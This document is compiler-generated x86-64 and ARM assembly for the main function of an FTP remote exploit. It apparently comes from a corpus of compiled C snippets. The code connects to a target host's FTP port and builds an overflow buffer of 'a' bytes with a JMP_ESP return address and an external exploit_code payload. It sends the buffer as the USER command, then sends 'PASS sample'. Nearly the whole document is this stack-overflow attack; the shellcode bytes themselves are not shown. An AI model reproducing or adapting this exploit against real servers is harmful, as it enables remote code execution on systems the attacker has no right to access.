	.file	"extr_19496.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"usage\n %s HostName\n"
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC1:
	.string	"Can not resolve specified host."
	.section	.rodata.str1.1
.LC2:
	.string	"socket"
.LC3:
	.string	"connect"
.LC4:
	.string	"USER %s\r\n"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	r13
	.cfi_def_cfa_offset 16
	.cfi_offset 13, -16
	push	r12
	.cfi_def_cfa_offset 24
	.cfi_offset 12, -24
	push	rbp
	.cfi_def_cfa_offset 32
	.cfi_offset 6, -32
	sub	rsp, 4096
	.cfi_def_cfa_offset 4128
	or	QWORD PTR [rsp], 0
	sub	rsp, 432
	.cfi_def_cfa_offset 4560
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR 4520[rsp], rax
	xor	eax, eax
	mov	rbp, rsi
	cmp	edi, 1
	jle	.L21
.L2:
	lea	r13, 4[rsp]
	mov	esi, 12
	mov	rdi, r13
	call	bzero@PLT
	mov	eax, DWORD PTR AF_INET[rip]
	mov	edi, DWORD PTR FTP_PORT[rip]
	mov	DWORD PTR 8[rsp], eax
	call	htons@PLT
	mov	rdi, QWORD PTR 8[rbp]
	mov	DWORD PTR 12[rsp], eax
	call	inet_addr@PLT
	mov	DWORD PTR 4[rsp], eax
	cmp	eax, -1
	je	.L22
.L3:
	mov	esi, DWORD PTR SOCK_STREAM[rip]
	mov	edi, DWORD PTR AF_INET[rip]
	xor	edx, edx
	call	socket@PLT
	mov	r12d, eax
	test	eax, eax
	js	.L23
.L5:
	mov	edx, 12
	mov	rsi, r13
	mov	edi, r12d
	call	connect@PLT
	test	rax, rax
	js	.L24
.L6:
	lea	rbp, 1520[rsp]
	jmp	.L7
	.p2align 4,,10
	.p2align 3
.L9:
	cdqe
	mov	esi, 10
	mov	rdi, rbp
	mov	BYTE PTR 1520[rsp+rax], 0
	call	strchr@PLT
	test	rax, rax
	jne	.L10
.L7:
	mov	edx, 3000
	mov	rsi, rbp
	mov	edi, r12d
	call	read@PLT
	test	eax, eax
	jg	.L9
.L10:
	mov	esi, DWORD PTR cmdbuf[rip]
	mov	rdi, QWORD PTR exploit_code[rip]
	lea	r13, 16[rsp]
	call	strcat@PLT
	mov	edx, DWORD PTR BUFSIZE[rip]
	mov	esi, 97
	mov	rdi, r13
	call	memset@PLT
	mov	rax, QWORD PTR BUFSIZE[rip]
	mov	rdx, QWORD PTR RETADR[rip]
	mov	rdi, QWORD PTR exploit_code[rip]
	mov	BYTE PTR 16[rsp+rax], 0
	mov	eax, DWORD PTR JMP_ESP[rip]
	mov	ecx, eax
	mov	BYTE PTR 16[rsp+rdx], al
	sar	ecx, 16
	mov	BYTE PTR 17[rsp+rdx], ah
	shr	eax, 24
	mov	BYTE PTR 18[rsp+rdx], cl
	mov	BYTE PTR 19[rsp+rdx], al
	call	strlen@PLT
	mov	rsi, QWORD PTR exploit_code[rip]
	mov	edx, eax
	mov	rax, QWORD PTR RETADR[rip]
	lea	rdi, 4[r13+rax]
	call	strncpy@PLT
	mov	rdx, r13
	mov	rdi, rbp
	xor	eax, eax
	lea	rsi, .LC4[rip]
	call	sprintf@PLT
	mov	rdi, rbp
	call	strlen@PLT
	mov	rsi, rbp
	mov	edi, r12d
	mov	edx, eax
	call	write@PLT
	jmp	.L8
	.p2align 4,,10
	.p2align 3
.L11:
	cdqe
	mov	esi, 10
	mov	rdi, rbp
	mov	BYTE PTR 1520[rsp+rax], 0
	call	strchr@PLT
	test	rax, rax
	jne	.L12
.L8:
	mov	edx, 3000
	mov	rsi, rbp
	mov	edi, r12d
	call	read@PLT
	test	eax, eax
	jg	.L11
.L12:
	xor	esi, esi
	mov	edx, 1024
	mov	rdi, rbp
	call	memset@PLT
	mov	rdi, rbp
	movabs	rax, 7881707405549191504
	mov	DWORD PTR 1528[rsp], 224750704
	mov	QWORD PTR 1520[rsp], rax
	mov	eax, 10
	mov	WORD PTR 1532[rsp], ax
	call	strlen@PLT
	mov	rsi, rbp
	mov	edi, r12d
	mov	edx, eax
	call	write@PLT
	mov	edi, r12d
	call	close@PLT
	mov	rax, QWORD PTR 4520[rsp]
	xor	rax, QWORD PTR fs:40
	jne	.L25
	add	rsp, 4528
	.cfi_remember_state
	.cfi_def_cfa_offset 32
	xor	eax, eax
	pop	rbp
	.cfi_def_cfa_offset 24
	pop	r12
	.cfi_def_cfa_offset 16
	pop	r13
	.cfi_def_cfa_offset 8
	ret
.L21:
	.cfi_restore_state
	mov	rsi, QWORD PTR [rsi]
	lea	rdi, .LC0[rip]
	call	printf@PLT
	mov	edi, 1
	call	exit@PLT
	jmp	.L2
.L24:
	lea	rdi, .LC3[rip]
	call	perror@PLT
	xor	edi, edi
	call	exit@PLT
	jmp	.L6
.L23:
	lea	rdi, .LC2[rip]
	call	perror@PLT
	xor	edi, edi
	call	exit@PLT
	jmp	.L5
.L22:
	mov	rdi, QWORD PTR 8[rbp]
	call	gethostbyname@PLT
	mov	rbp, rax
	test	rax, rax
	je	.L26
.L4:
	mov	eax, DWORD PTR 8[rbp]
	mov	esi, DWORD PTR 4[rbp]
	mov	edi, r13d
	mov	edx, DWORD PTR 0[rbp]
	mov	DWORD PTR 8[rsp], eax
	call	memcpy@PLT
	jmp	.L3
.L26:
	lea	rdi, .LC1[rip]
	call	puts@PLT
	mov	edi, 1
	call	exit@PLT
	jmp	.L4
.L25:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	exploit_code,8,8
	.comm	cmdbuf,4,4
	.comm	SOCK_STREAM,4,4
	.comm	RETADR,8,8
	.comm	JMP_ESP,4,4
	.comm	FTP_PORT,4,4
	.comm	BUFSIZE,8,8
	.comm	AF_INET,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_19496.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"usage\012 %s HostName\012\000"
	.align	2
.LC1:
	.ascii	"Can not resolve specified host.\000"
	.align	2
.LC2:
	.ascii	"socket\000"
	.align	2
.LC3:
	.ascii	"connect\000"
	.align	2
.LC4:
	.ascii	"USER %s\015\012\000"
	.align	2
.LC5:
	.ascii	"PASS sample\015\012\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC6:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 4528
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, lr}
	sub	sp, sp, #4480
	sub	sp, sp, #52
	add	r3, sp, #4480
	ldr	r2, .L27
	cmp	r0, #1
	add	r3, r3, #44
	mov	r4, r1
	ldr	r2, [r2]
	str	r2, [r3]
	mov	r2,#0
	ble	.L21
.L2:
	mov	r1, #12
	ldr	r5, .L27+4
	add	r0, sp, #12
	bl	bzero
	ldr	r2, .L27+8
	ldr	r3, [r5]
	ldr	r0, [r2]
	str	r3, [sp, #16]
	bl	htons
	mov	r3, r0
	ldr	r0, [r4, #4]
	str	r3, [sp, #20]
	bl	inet_addr
	cmn	r0, #1
	str	r0, [sp, #12]
	beq	.L22
.L3:
	ldr	r3, .L27+12
	mov	r2, #0
	ldr	r0, [r5]
	ldr	r1, [r3]
	bl	socket
	subs	r4, r0, #0
	blt	.L23
.L5:
	mov	r2, #12
	mov	r0, r4
	add	r1, sp, #12
	bl	connect
	cmp	r0, #0
	blt	.L24
.L6:
	mov	r6, #0
	ldr	r5, .L27+16
	b	.L7
.L9:
	add	r3, sp, #4480
	add	r3, r3, #48
	add	r3, r3, r0
	add	r0, sp, #1520
	mov	r1, #10
	add	r0, r0, #4
	strb	r6, [r3, #-3004]
	bl	strchr
	cmp	r0, #0
	bne	.L10
.L7:
	add	r1, sp, #1520
	mov	r2, r5
	mov	r0, r4
	add	r1, r1, #4
	bl	read
	cmp	r0, #0
	bgt	.L9
.L10:
	mov	r5, #0
	ldr	r3, .L27+20
	ldr	r6, .L27+24
	ldr	r7, .L27+28
	ldr	r1, [r3]
	add	r2, sp, #24
	ldr	r0, [r6]
	str	r2, [sp, #4]
	bl	strcat
	ldr	r2, [r7]
	mov	r1, #97
	ldr	r0, [sp, #4]
	bl	memset
	ldr	r3, .L27+32
	ldr	r2, .L27+36
	ldr	r0, [r7]
	ldr	r2, [r2]
	ldr	r7, [r6]
	ldr	r6, [r3]
	add	r3, sp, #432
	asr	r1, r2, #8
	add	r0, r3, r0
	add	r3, r3, r6
	asr	ip, r2, #16
	strb	r5, [r0, #-408]
	strb	r1, [r3, #-407]
	mov	r0, r7
	lsr	r1, r2, #24
	strb	ip, [r3, #-406]
	strb	r2, [r3, #-408]
	strb	r1, [r3, #-405]
	bl	strlen
	ldr	r3, [sp, #4]
	add	r6, r6, #4
	mov	r2, r0
	mov	r1, r7
	add	r0, r3, r6
	bl	strncpy
	add	r0, sp, #1520
	ldr	r2, [sp, #4]
	ldr	r1, .L27+40
	add	r0, r0, #4
	bl	sprintf
	add	r0, sp, #1520
	add	r0, r0, #4
	bl	strlen
	add	r1, sp, #1520
	mov	r2, r0
	add	r1, r1, #4
	mov	r0, r4
	bl	write
	ldr	r6, .L27+16
	b	.L8
.L11:
	add	r3, sp, #4480
	add	r3, r3, #48
	add	r3, r3, r0
	add	r0, sp, #1520
	mov	r1, #10
	add	r0, r0, #4
	strb	r5, [r3, #-3004]
	bl	strchr
	cmp	r0, #0
	bne	.L12
.L8:
	add	r1, sp, #1520
	mov	r2, r6
	mov	r0, r4
	add	r1, r1, #4
	bl	read
	cmp	r0, #0
	bgt	.L11
.L12:
	add	r0, sp, #1520
	mov	r2, #1024
	mov	r1, #0
	add	r0, r0, #4
	bl	memset
	ldr	r3, .L27+44
	add	ip, sp, #1520
	add	ip, ip, #4
	ldm	r3, {r0, r1, r2, r3}
	stmia	ip!, {r0, r1, r2}
	add	r0, sp, #1520
	strh	r3, [ip]	@ movhi
	add	r0, r0, #4
	bl	strlen
	add	r1, sp, #1520
	mov	r2, r0
	add	r1, r1, #4
	mov	r0, r4
	bl	write
	mov	r0, r4
	bl	close
	add	r3, sp, #4480
	ldr	r2, .L27
	add	r3, r3, #44
	ldr	r1, [r2]
	ldr	r2, [r3]
	eors	r1, r2, r1
	mov	r2, #0
	bne	.L25
	mov	r0, #0
	add	sp, sp, #4480
	add	sp, sp, #52
	@ sp needed
	pop	{r4, r5, r6, r7, pc}
.L21:
	ldr	r1, [r1]
	ldr	r0, .L27+48
	bl	printf
	mov	r0, #1
	bl	exit
	b	.L2
.L24:
	ldr	r0, .L27+52
	bl	perror
	mov	r0, #0
	bl	exit
	b	.L6
.L23:
	ldr	r0, .L27+56
	bl	perror
	mov	r0, #0
	bl	exit
	b	.L5
.L22:
	ldr	r0, [r4, #4]
	bl	gethostbyname
	subs	r4, r0, #0
	beq	.L26
.L4:
	ldr	r3, [r4, #8]
	ldr	r2, [r4]
	ldr	r1, [r4, #4]
	add	r0, sp, #12
	str	r3, [sp, #16]
	bl	memcpy
	b	.L3
.L26:
	ldr	r0, .L27+60
	bl	puts
	mov	r0, #1
	bl	exit
	b	.L4
.L25:
	bl	__stack_chk_fail
.L28:
	.align	2
.L27:
	.word	.LC6
	.word	AF_INET
	.word	FTP_PORT
	.word	SOCK_STREAM
	.word	3000
	.word	cmdbuf
	.word	exploit_code
	.word	BUFSIZE
	.word	RETADR
	.word	JMP_ESP
	.word	.LC4
	.word	.LC5
	.word	.LC0
	.word	.LC3
	.word	.LC2
	.word	.LC1
	.size	main, .-main
	.comm	exploit_code,4,4
	.comm	cmdbuf,4,4
	.comm	SOCK_STREAM,4,4
	.comm	RETADR,4,4
	.comm	JMP_ESP,4,4
	.comm	FTP_PORT,4,4
	.comm	BUFSIZE,4,4
	.comm	AF_INET,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
